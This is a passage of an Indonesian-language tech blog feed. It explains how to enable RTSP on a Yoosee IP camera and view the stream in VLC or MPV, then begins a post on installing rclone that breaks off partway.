file.&lt;/p&gt;&lt;/blockquote&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;</content:encoded></item><item><title>Accessing RTSP IP CCTV From Media Player</title><link>https://shangdi.github.io/posts/tech/rtsp-ipcam/</link><guid isPermaLink="true">https://shangdi.github.io/posts/tech/rtsp-ipcam/</guid><description>RTSP stands for Real-time Streaming Protocol, which is a protocol capable of casting real-time CCTV streaming video. It does not rely on certain apps to do that. So, as long as the app supports RTSP (like MPV and VLC), it will work perfectly.</description><pubDate>Tue, 09 Jun 2026 02:29:24 GMT</pubDate><content:encoded>&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;Disclaimer!&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;Artikel ini tidak membahas aktivasi atau cara menghubungkan CCTV ke Aplikasi dari awal, tapi hanya membahas cara mengaktifkan fitur RTSP dan menggunakannya saja.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;section&gt;&lt;h2&gt;A Glimpse of RTSP&lt;a href=&quot;#a-glimpse-of-rtsp&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Pernah dengar RTSP?&lt;/p&gt;&lt;p&gt;RTSP adalah singkatan dari &lt;strong&gt;&lt;em&gt;Real-Time Streaming Protocol&lt;/em&gt;&lt;/strong&gt;, sebuah protokol jaringan yang berada di “Application Layer” yang berfungsi sebagai &lt;em&gt;remote control&lt;/em&gt; untuk media server. Jadi, intinya, protokol ini digunakan untuk membuat, mengontrol, dan mengatur &lt;em&gt;streaming&lt;/em&gt; audio dan video berbasis IP Address secara &lt;em&gt;real-time&lt;/em&gt; sehingga memungkinkan penggunanya untuk mengirim perintah-perintah seperti “play”, “pause”, dan “record”.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&lt;p&gt;Kalau kita sering atau pernah kenal dengan CCTV berbasis IP, maka RTSP biasanya ada di sana. Dengan adanya fitur ini, banyak CCTV dapat dikontrol dari jauh, terutama jika kita mengintegrasikannya dengan &lt;strong&gt;NVR&lt;/strong&gt; dan &lt;strong&gt;ONVIF&lt;/strong&gt;. Meskipun demikian, perlu diketahui juga bahwa tidak semua CCTV berbasis IP memiliki fitur ini. Sebab, kehadiran fitur ini bergantung pada kesediaan merek/perusahaan/produsen. Beberapa merek/perusahaan/produsen ada yang memang sengaja me-non-aktifkan fitur ini di firmware CCTV, sehingga terkadang untuk membuka fitur RTSP ini, kita perlu “menginjeksikan” kode konfigurasi tertentu melalui micro SD card,&lt;sup&gt;&lt;a href=&quot;#user-content-fn-2&quot;&gt;2&lt;/a&gt;&lt;/sup&gt; itupun jika konfigurasi firmwarenya tidak dienkripsi oleh merek/perusahaan/produsen terkait, jika dienkripsi artinya kita hampir mustahil untuk mendapatkan fitur tersebut.&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;NVR &amp;amp; ONVIF&lt;/strong&gt;&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;NVR (&lt;em&gt;Network Video Recorder&lt;/em&gt;) adalah perangkat (&lt;em&gt;hardware&lt;/em&gt;) sistem keamanan yang digunakan untuk menyimpan rekaman video CCTV.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-3&quot;&gt;3&lt;/a&gt;&lt;/sup&gt; Jadi, NVR ini merupakan komputer khusus yang “ditempel” hardisk, sehingga CCTV berbasis IP bisa menyimpan rekamannya langsung ke hardisk tersebut dengan aman, baik via LAN (kabel) ataupun via WiFi (nirkabel), tanpa perlu bergantung pada microSD card.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-4&quot;&gt;4&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;&lt;a href=&quot;https://www.blibli.com/p/nvr-hikvision-8-channel-ds-7608ni-q2-8p-nvr-8ch-poe-hikvision/ps--TOC-70003-01628&quot; target=&quot;_blank&quot;&gt;&lt;/a&gt;&lt;/p&gt;&lt;figure&gt;&lt;a href=&quot;https://www.blibli.com/p/nvr-hikvision-8-channel-ds-7608ni-q2-8p-nvr-8ch-poe-hikvision/ps--TOC-70003-01628&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;NVR&quot; loading=&quot;lazy&quot; width=&quot;800&quot; height=&quot;800&quot; src=&quot;/_astro/ss1.DMJjKiQ4_Z2gKvnj.webp&quot; /&gt;&lt;figcaption&gt;NVR&lt;/figcaption&gt;&lt;/a&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;Sedangkan ONVIF (&lt;em&gt;Open Network Video Interface Forum&lt;/em&gt;) adalah sebuah standard global untuk memastikan perangkat-perangat digital berbasis IP (CCTV IP) dapat saling berkomunikasi, meskipun berbeda merek/perusahaan/produsen.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-5&quot;&gt;5&lt;/a&gt;&lt;/sup&gt; Standard ini diperlukan, terutama jika kita sudah menggunakan banyak CCTV berbeda di satu NVR. Jadi, dengan adanya standard ini, CCTV kita dapat saling berinteraksi meskipun berbeda manufaktur/pabrik. ONVIF juga jelas berbeda dengan RTSP, jadi tidak perlu diperbandingkan dan dibingungkan.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-6&quot;&gt;6&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;/blockquote&gt;&lt;p&gt;Nah, di artikel ini, saya akan menunjukkan cara mengaktifkan fitur RTSP di CCTV IP. Kebetulan, saya beli CCTV merek Yoosee (tidak di-&lt;em&gt;endorse&lt;/em&gt;) di Shopee. CCTV ini menurut saya sudah memiliki banyak fitur lain yang cukup standard, seperti PTZ, Infrared, Motion Detection, Speaker, dan tentu saja NVR (yang otomatis akan mengaktifkan RTSP juga).&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;INFO&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;Link CCTV saya di Shopee: &lt;a href=&quot;https://shopee.co.id/Yoosee-CCTV-Full-HD-1080P-WIFI-355%C2%B0-PTZ-Deteksi-Gerakan-Al-Notifikasi-Real-time-Suara-Dua-Arah-i.1741198394.45957621722&quot; target=&quot;_blank&quot;&gt;Yoosee CCTV 1080p WiFi PTZ&lt;/a&gt;&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;RTSP Activation&lt;a href=&quot;#rtsp-activation&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Persyaratan utama sebelum mengaktivasi RTSP adalah tentu aja: Sudah mengunduh aplikasi resmi Yoosee di smartphone (saya download dari &lt;em&gt;Play Store&lt;/em&gt; karena Android) dan CCTV sudah berhasil terkonfigurasi dan terhubung dengan aplikasi tersebut.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://play.google.com/store/apps/details?id=com.yoosee&amp;amp;hl=id&quot; target=&quot;_blank&quot;&gt;&lt;/a&gt;&lt;/p&gt;&lt;figure&gt;&lt;a href=&quot;https://play.google.com/store/apps/details?id=com.yoosee&amp;amp;hl=id&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;Yoosee Applicaion on Google Play Store&quot; loading=&quot;lazy&quot; width=&quot;1442&quot; height=&quot;1002&quot; src=&quot;/_astro/ss7.n8f937h6_22z5zG.webp&quot; /&gt;&lt;figcaption&gt;Yoosee Applicaion on Google Play Store&lt;/figcaption&gt;&lt;/a&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Berikut adalah langkah-langkah mengaktivasi fitur RTSP:&lt;/p&gt;&lt;section&gt;&lt;h3&gt;1. Tap Kamera CCTV.&lt;a href=&quot;#1-tap-kamera-cctv&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Langkah pertama adalah meng-klik (tap) kamera CCTV yang muncul di aplikasi, seperti terlihat pada bagian yang diberi kotak merah. (Bisa juga langsung klik icon &lt;em&gt;settings&lt;/em&gt;).&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Tap CCTV Camera&quot; loading=&quot;lazy&quot; width=&quot;1080&quot; height=&quot;2400&quot; src=&quot;/_astro/ss2.DZl6_bV1_f6omO.webp&quot; /&gt;&lt;figcaption&gt;Tap CCTV Camera&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;2. Tap Icon Settings&lt;a href=&quot;#2-tap-icon-settings&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Kemudian, tap icon &lt;em&gt;settings&lt;/em&gt; yang berada di pojok kanan atas.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Tap &apos;Settings&apos; Icon&quot; loading=&quot;lazy&quot; width=&quot;1080&quot; height=&quot;2400&quot; src=&quot;/_astro/ss3.DIHyFikN_xdKUw.webp&quot; /&gt;&lt;figcaption&gt;Tap &apos;Settings&apos; Icon&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;3. Tap “More Options”&lt;a href=&quot;#3-tap-more-options&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Di settings, pilih “&lt;strong&gt;More Options&lt;/strong&gt;”.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Choose More Options&quot; loading=&quot;lazy&quot; width=&quot;1080&quot; height=&quot;2400&quot; src=&quot;/_astro/ss4.DhmKAFDL_Z1jrN0W.webp&quot; /&gt;&lt;figcaption&gt;Choose More Options&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;4. Tap “NVR Connection”&lt;a href=&quot;#4-tap-nvr-connection&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Pastikan di sana ada opsi “NVR Connection”. Jika tidak ada, berarti kamera belum support NVR Connection (yang artinya juga kemungkinan besar belum support RTSP).&lt;/p&gt;&lt;p&gt;Tap “&lt;strong&gt;NVR Connection&lt;/strong&gt;”.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Tap &apos;NVR Connection&quot; loading=&quot;lazy&quot; width=&quot;1080&quot; height=&quot;2400&quot; src=&quot;/_astro/ss5.B8OK26rb_Z2c2a1V.webp&quot; /&gt;&lt;figcaption&gt;Tap &apos;NVR Connection&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;5. Enable Connection&lt;a href=&quot;#5-enable-connection&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Aktifkan NVR Connection.&lt;/p&gt;&lt;p&gt;Setelah itu, kita akan diminta memasukkan password sebagai tambahan keamanan agar RTSP kita tidak sembarang bisa diakses oleh orang lain.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Enable NVR&quot; loading=&quot;lazy&quot; width=&quot;1080&quot; height=&quot;2400&quot; src=&quot;/_astro/ss6.CM4yfLo9_25AUBY.webp&quot; /&gt;&lt;figcaption&gt;Enable NVR&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Selesai.&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Accessing RTSP&lt;a href=&quot;#accessing-rtsp&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Secara praktis, sekarang, CCTV sudah dapat diakses melalui media player, seperti &lt;a href=&quot;https://www.videolan.org/vlc/&quot; target=&quot;_blank&quot;&gt;VLC&lt;/a&gt; dan &lt;a href=&quot;https://mpv.io/&quot; target=&quot;_blank&quot;&gt;MPV&lt;/a&gt;.&lt;/p&gt;&lt;section&gt;&lt;h3&gt;VLC&lt;a href=&quot;#vlc&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Berikut adalah langkah-langkah mengakses CCTV melalui VLC:&lt;/p&gt;&lt;section&gt;&lt;h4&gt;1. Media &amp;gt; Open Network Stream.&lt;a href=&quot;#1-media--open-network-stream&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Buka VLC. Kemudian, klik menu “Media”. Lalu pilih “Open Network Stream”.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;VLC &amp;gt; Media &amp;gt; Open Network Stream&quot; loading=&quot;lazy&quot; width=&quot;1170&quot; height=&quot;848&quot; src=&quot;/_astro/ss8.C2cUs8Nf_ZnSqBz.webp&quot; /&gt;&lt;figcaption&gt;VLC &amp;gt; Media &amp;gt; Open Network Stream&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;2. Input RTSP URL&lt;a href=&quot;#2-input-rtsp-url&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Masukkan URL RTSP berikut di kolom “Network”, kemudian “Play”.&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;rtsp://admin:&amp;lt;Password&amp;gt;@&amp;lt;IP_Address&amp;gt;:554/onvif1&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Input RTSP URL&quot; loading=&quot;lazy&quot; width=&quot;620&quot; height=&quot;506&quot; src=&quot;/_astro/ss9.D_x_8mMS_Z25dqiD.webp&quot; /&gt;&lt;figcaption&gt;Input RTSP URL&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;TIP&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;Stream Path pada CCTV yang umum digunakan biasanya ada “&lt;em&gt;&lt;strong&gt;Main Stream&lt;/strong&gt;&lt;/em&gt;” (&lt;code&gt;/onvif1&lt;/code&gt;) dan &lt;em&gt;&lt;strong&gt;Sub Strem&lt;/strong&gt;&lt;/em&gt; (&lt;code&gt;/onvif2&lt;/code&gt;).&lt;/p&gt;&lt;p&gt;Keduanya berbeda, tentu saja. “&lt;em&gt;&lt;strong&gt;Main Stream&lt;/strong&gt;&lt;/em&gt;” (&lt;code&gt;/onvif1&lt;/code&gt;) digunakan untuk mendapatkan rekaman dengan resolusi tinggi atau tampilan maksimal. Sementara &lt;em&gt;&lt;strong&gt;Sub Strem&lt;/strong&gt;&lt;/em&gt; (&lt;code&gt;/onvif2&lt;/code&gt;) digunakan untuk mendapatkan rekaman dengan resolusi yang lebih rendah sehingga cocok untuk live CCTV (tampilan langsung) karena akan lebih lancar dan hemat bandwith.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;/section&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;MPV&lt;a href=&quot;#mpv&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Untuk melakukan streaming video CCTV dari MPV, gunakan perintah berikut:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;mpv&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;rtsp://admin:YOOSEE123456@192.168.100.230:554/onvif2&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--demuxer-lavf-o=rtsp_transport=udp&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Atau jika tidak ingin selalu menyertakan opsi &lt;code&gt;--demuxer-lavf-o=rtsp_transport=udp&lt;/code&gt;, maka kita bisa simpan opsi tersebut di konfigurasi MPV di &lt;code&gt;~/.mpv/mpv.conf&lt;/code&gt; atau &lt;code&gt;~/.config/mpv/mpv.conf&lt;/code&gt;. Dengan demikian, kita hanya mengetikkan perintah berikut ini saja tanpa harus menginputkan opsi apapun:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;mpv&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;rtsp://admin:YOOSEE123456@192.168.100.230:554/onvif2&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Notes:&lt;/strong&gt;&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;Mengapa perlu opsi &lt;code&gt;--demuxer-lavf-o=rtsp_transport=udp&lt;/code&gt; di MPV?&lt;/p&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;p&gt;Jawabannya, karena secara default, MPV akan menggunakan TCP, sementara kamera CCTV saya menggunakan UDP. Akibatnya, MPV tidak dapat memutar &lt;em&gt;streaming&lt;/em&gt; CCTV. Oleh karena itu, opsi ini harus di-&lt;em&gt;include&lt;/em&gt;-kan agar MPV bisa menjalankan &lt;em&gt;streaming&lt;/em&gt; CCTV dengan baik.&lt;/p&gt;&lt;/blockquote&gt;&lt;/blockquote&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;TIP&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;Stream Path pada CCTV yang umum digunakan biasanya ada “&lt;em&gt;&lt;strong&gt;Main Stream&lt;/strong&gt;&lt;/em&gt;” (&lt;code&gt;/onvif1&lt;/code&gt;) dan &lt;em&gt;&lt;strong&gt;Sub Strem&lt;/strong&gt;&lt;/em&gt; (&lt;code&gt;/onvif2&lt;/code&gt;).&lt;/p&gt;&lt;p&gt;Keduanya berbeda, tentu saja. “&lt;em&gt;&lt;strong&gt;Main Stream&lt;/strong&gt;&lt;/em&gt;” (&lt;code&gt;/onvif1&lt;/code&gt;) digunakan untuk mendapatkan rekaman dengan resolusi tinggi atau tampilan maksimal. Sementara &lt;em&gt;&lt;strong&gt;Sub Strem&lt;/strong&gt;&lt;/em&gt; (&lt;code&gt;/onvif2&lt;/code&gt;) digunakan untuk mendapatkan rekaman dengan resolusi yang lebih rendah sehingga cocok untuk live CCTV (tampilan langsung) karena akan lebih lancar dan hemat bandwith.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Sekian.&lt;br /&gt;
Terima kasih sudah membaca.&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Footnotes&lt;a href=&quot;#footnote-label&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Real-Time_Streaming_Protocol&quot; target=&quot;_blank&quot;&gt;https://en.wikipedia.org/wiki/Real-Time_Streaming_Protocol&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-1&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://gist.github.com/SolveSoul/9be5d9599c8b4b59f7cfa4cd0ce79c9c&quot; target=&quot;_blank&quot;&gt;https://gist.github.com/SolveSoul/9be5d9599c8b4b59f7cfa4cd0ce79c9c&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-2&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://senstar.com/senstarpedia/what-is-nvr/&quot; target=&quot;_blank&quot;&gt;https://senstar.com/senstarpedia/what-is-nvr/&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-3&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.hokione.id/blog/apa-itu-nvr&quot; target=&quot;_blank&quot;&gt;https://www.hokione.id/blog/apa-itu-nvr&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-4&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.pelco.com/blog/onvif-guide&quot; target=&quot;_blank&quot;&gt;https://www.pelco.com/blog/onvif-guide&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-5&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://xdc-indonesia.com/kenali-apa-itu-onvif-manfaat-dan-cara-penggunaannya-untuk-kamera-ip/&quot; target=&quot;_blank&quot;&gt;https://xdc-indonesia.com/kenali-apa-itu-onvif-manfaat-dan-cara-penggunaannya-untuk-kamera-ip/&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-6&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;</content:encoded></item><item><title>Rclone: A Command-line program to Manage Files on Cloud Storage</title><link>https://shangdi.github.io/posts/tech/rclone/</link><guid isPermaLink="true">https://shangdi.github.io/posts/tech/rclone/</guid><description>Do you have a lot of cloud storages that you want to manage it directly through terminal? With rclone, managing many cloud storages has never been easier than this before..</description><pubDate>Sat, 30 May 2026 07:35:34 GMT</pubDate><content:encoded>&lt;section&gt;&lt;h2&gt;Introduction&lt;a href=&quot;#introduction&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Merujuk ke website resminya, &lt;code&gt;rclone&lt;/code&gt; adalah sebuah &lt;em&gt;software&lt;/em&gt; (&lt;em&gt;open source&lt;/em&gt;) yang digunakan untuk me-&lt;em&gt;manage&lt;/em&gt; penyimpanan di cloud melalui terminal (CLI / &lt;em&gt;command line interface&lt;/em&gt;).&lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt; Singkatnya, dengan menggunakan &lt;code&gt;rclone&lt;/code&gt;, kita dapat mengakses, mengedit, menambahkan, dan menghapus file dan folder yang ada di berbagai cloud storage yang kita miliki, seperti Google Drive, OneDrive, Dropbox, Mega, dan masih banyak lagi, hanya dengan perintah-perintah “sederhana” di terminal.&lt;/p&gt;&lt;p&gt;Selain yang baru saja saya &lt;em&gt;mention&lt;/em&gt;, masih ada banyak cloud storage lain yang di-&lt;em&gt;support&lt;/em&gt; oleh &lt;code&gt;rclone&lt;/code&gt;. Totalnya lebih dari 70 platform cloud storage yang sudah di-&lt;em&gt;support&lt;/em&gt; oleh &lt;code&gt;rclone&lt;/code&gt;. Untuk daftarnya, silakan merujuk pada halaman website official &lt;code&gt;rclone&lt;/code&gt; berikut:&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://rclone.org/&quot; target=&quot;_blank&quot;&gt;https://rclone.org/&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Atau bisa juga dilihat di repository Github-nya:&lt;/p&gt;&lt;a href=&quot;https://github.com/rclone/rclone&quot; target=&quot;_blank&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;rclone&lt;/div&gt;&lt;/div&gt;&lt;div&gt;/&lt;/div&gt;&lt;div&gt;rclone&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;Waiting for api.github.com...&lt;/div&gt;&lt;div&gt;&lt;div&gt;00K&lt;/div&gt;&lt;div&gt;0K&lt;/div&gt;&lt;div&gt;0K&lt;/div&gt;&lt;span&gt;Waiting...&lt;/span&gt;&lt;/div&gt;&lt;/a&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;INFO&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;Yang masih jadi perhatian saya hingga saat ini (minimal sampai artikel ini terakhir dimodifikasi), &lt;code&gt;rclone&lt;/code&gt; masih belum &lt;em&gt;support&lt;/em&gt; &lt;a href=&quot;https://www.terabox.com/&quot; target=&quot;_blank&quot;&gt;Terabox&lt;/a&gt;. Padahal itu adalah cloud storage paling “dermawan” karena memberikan penggunanya akses ke penyimpanan sebesar 1 TB secara cuma-cuma alias gratis, di saat platform lain hanya berani memberi 1-20 GB untuk versi gratisnya.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Installation&lt;a href=&quot;#installation&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Berikut adalah cara instalasinya di beberapa distro linux/UNIX:&lt;/p&gt;




























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Distro&lt;/th&gt;&lt;th&gt;Command&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Debian/Ubuntu&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo apt install -y rclone&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Arch Linux&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo pacman -Sy rclone&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Fedora&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo dnf install rclone&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Opensuse&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo zypper install rclone&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;FreeBSD&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo pkg install rclone&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;NOTE&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;strong&gt;NixOS:&lt;/strong&gt;&lt;br /&gt;
Masukkan baris berikut di file konfigurasi (&lt;code&gt;/etc/nixos/configuration.nix&lt;/code&gt;):&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;environment&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;systemPackages&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; [&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    